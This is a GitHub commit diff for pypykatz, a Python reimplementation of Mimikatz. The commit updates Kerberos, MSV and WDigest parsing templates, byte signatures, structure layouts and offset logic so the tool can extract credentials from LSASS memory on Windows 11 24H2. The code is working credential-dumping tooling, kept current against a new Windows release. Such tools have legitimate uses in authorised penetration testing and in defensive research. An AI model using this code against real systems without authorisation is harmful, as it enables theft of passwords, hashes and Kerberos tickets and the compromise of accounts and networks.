Skip to content

Commit c321787

Browse files
author
SkelSec
committed
msv kerberos wdigest fix for 24H2
1 parent e029ada commit c321787

File tree

4 files changed

+81
-6
lines changed

4 files changed

+81
-6
lines changed

pypykatz/lsadecryptor/packages/kerberos/templates.py

Lines changed: 68 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
DWORD, LSA_UNICODE_STRING, PKERB_EXTERNAL_NAME, KIWI_GENERIC_PRIMARY_CREDENTIAL, \
1111
LUID, PLSAISO_DATA_BLOB
1212
from pypykatz.lsadecryptor.package_commons import PackageTemplate
13+
from pypykatz.commons.common import hexdump
1314

1415
class KerberosTemplate(PackageTemplate):
1516
def __init__(self, sysinfo):
@@ -101,10 +102,19 @@ def get_template(sysinfo):
101102
template.hash_password_struct = KERB_HASHPASSWORD_6_1607
102103
template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
103104

104-
elif sysinfo.buildnumber >= WindowsBuild.WIN_11_2022.value:
105+
#elif sysinfo.buildnumber >= WindowsBuild.WIN_11_2022.value:
106+
# template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
107+
# template.first_entry_offset = 6
108+
# template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
109+
# template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_11
110+
# template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
111+
# template.hash_password_struct = KERB_HASHPASSWORD_6_1607
112+
# template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
113+
114+
elif sysinfo.buildnumber >= WindowsBuild.WIN_11_24H2.value:
105115
template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
106116
template.first_entry_offset = 6
107-
template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
117+
template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_24H2
108118
template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_11
109119
template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
110120
template.hash_password_struct = KERB_HASHPASSWORD_6_1607
@@ -607,7 +617,6 @@ def __init__(self, reader):
607617

608618
class KIWI_KERBEROS_LOGON_SESSION_10_1607:
609619
def __init__(self, reader):
610-
#input('aaaaaaaaa\n' + hexdump(reader.peek(0x300)))
611620
self.UsageCount = ULONG(reader).value
612621
reader.align()
613622
self.unk0 = LIST_ENTRY(reader)
@@ -653,6 +662,62 @@ def __init__(self, reader):
653662
self.Tickets_3 = LIST_ENTRY(reader)
654663
self.unk29 = FILETIME(reader).value
655664
self.SmartcardInfos = PVOID(reader)
665+
666+
667+
# looks the same as the 10_1607
668+
class KIWI_KERBEROS_24H2_PRIMARY_CREDENTIAL:
669+
def __init__(self, reader):
670+
self.UserName = LSA_UNICODE_STRING(reader)
671+
self.Domaine = LSA_UNICODE_STRING(reader)
672+
self.unkFunction = PVOID(reader).value
673+
self.type = DWORD(reader).value # // or flags 2 = normal, 1 = ISO(reader).value
674+
reader.align()
675+
self.Password = LSA_UNICODE_STRING(reader) # union {
676+
self.IsoPassword = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(reader)
677+
678+
class KIWI_KERBEROS_LOGON_SESSION_24H2:
679+
def __init__(self, reader):
680+
#input('aaaaaaaaa\n' + hexdump(reader.peek(0x300), start = reader.tell()))
681+
self.UsageCount = ULONG(reader).value
682+
reader.align()
683+
self.unk0 = LIST_ENTRY(reader)
684+
#self.unk1 = PVOID(reader).value
685+
self.unk1b = ULONG(reader).value
686+
reader.align()
687+
self.unk2 = FILETIME(reader).value
688+
self.unk4 = PVOID(reader).value
689+
self.unk5 = PVOID(reader).value
690+
self.unk6 = PVOID(reader).value
691+
self.LocallyUniqueIdentifier = LUID(reader).value
692+
self.unk7 = FILETIME(reader).value
693+
self.unk8 = PVOID(reader).value
694+
self.unk8b = ULONG(reader).value
695+
reader.align()
696+
self.unk9 = FILETIME(reader).value
697+
self.unk11 = PVOID(reader).value
698+
self.unk12 = PVOID(reader).value
699+
reader.align(8)
700+
self.credentials = KIWI_KERBEROS_24H2_PRIMARY_CREDENTIAL(reader)
701+
self.unk14 = ULONG(reader).value
702+
self.unk15 = ULONG(reader).value
703+
self.unk16 = ULONG(reader).value
704+
self.unk17 = ULONG(reader).value
705+
self.unk18 = PVOID(reader).value
706+
self.unk19 = PVOID(reader).value
707+
self.unk20 = PVOID(reader).value
708+
self.unk21 = PVOID(reader).value
709+
self.unk22 = PVOID(reader).value
710+
self.unk23 = PVOID(reader).value
711+
reader.align()
712+
self.pKeyList = PVOID(reader)
713+
self.unk26 = PVOID(reader).value
714+
self.Tickets_1 = LIST_ENTRY(reader)
715+
self.unk27 = FILETIME(reader).value
716+
self.Tickets_2 = LIST_ENTRY(reader)
717+
self.unk28 = FILETIME(reader).value
718+
self.Tickets_3 = LIST_ENTRY(reader)
719+
self.unk29 = FILETIME(reader).value
720+
self.SmartcardInfos = PVOID(reader)
656721

657722

658723
class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86:

pypykatz/lsadecryptor/packages/msv/decryptor.py

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -323,7 +323,16 @@ def find_first_entry(self):
323323

324324
#getting logon session ptr
325325
self.log('Logon session PTR @ %s' % hex(position + self.decryptor_template.first_entry_offset))
326-
ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) + self.decryptor_template.first_entry_offset_correction
326+
additional_offset = 0
327+
if self.decryptor_template.first_entry_offset_correction != 0:
328+
self.log('This template uses offset correction!')
329+
offsetpos = position + self.decryptor_template.first_entry_offset_correction
330+
self.log('Fetching additional offset from %s' % hex(offsetpos))
331+
self.reader.move(offsetpos)
332+
additional_offset = int.from_bytes(self.reader.read(4), byteorder = 'little', signed = False)
333+
self.log('Additional offset value: %s' % hex(additional_offset))
334+
335+
ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) + additional_offset
327336
self.log('Logon session PTR -> %s' % hex(ptr_entry_loc))
328337
ptr_entry = self.reader.get_ptr(ptr_entry_loc)
329338
self.log('Logon session @ %s' % hex(ptr_entry))

pypykatz/lsadecryptor/packages/msv/templates.py

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -152,11 +152,10 @@ def get_template(sysinfo):
152152
template.offset2 = -4
153153

154154
else:
155-
print(11111)
156155
template.signature = b'\x45\x89\x34\x24\x8b\xfb\x45\x85\xc0\x0f'
157156
template.first_entry_offset = 25
158157
template.offset2 = -16
159-
template.first_entry_offset_correction = 0x184250
158+
template.first_entry_offset_correction = 34
160159

161160
elif sysinfo.architecture == KatzSystemArchitecture.X86:
162161
if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:

pypykatz/lsadecryptor/packages/wdigest/decryptor.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88

99
from pypykatz.lsadecryptor.package_commons import PackageDecryptor
1010
from pypykatz.commons.win_datatypes import LSA_UNICODE_STRING
11+
from pypykatz.commons.common import hexdump
1112

1213
class WdigestCredential:
1314
def __init__(self):
@@ -72,6 +73,7 @@ def add_entry(self, wdigest_entry):
7273
wc.username = UserName.read_string(self.reader)
7374
wc.domainname = DomainName.read_string(self.reader)
7475
wc.encrypted_password = Password.read_maxdata(self.reader)
76+
7577
if wc.username.endswith('$') is True:
7678
wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
7779
if wc.password is not None:

0 commit comments

Comments
 (0)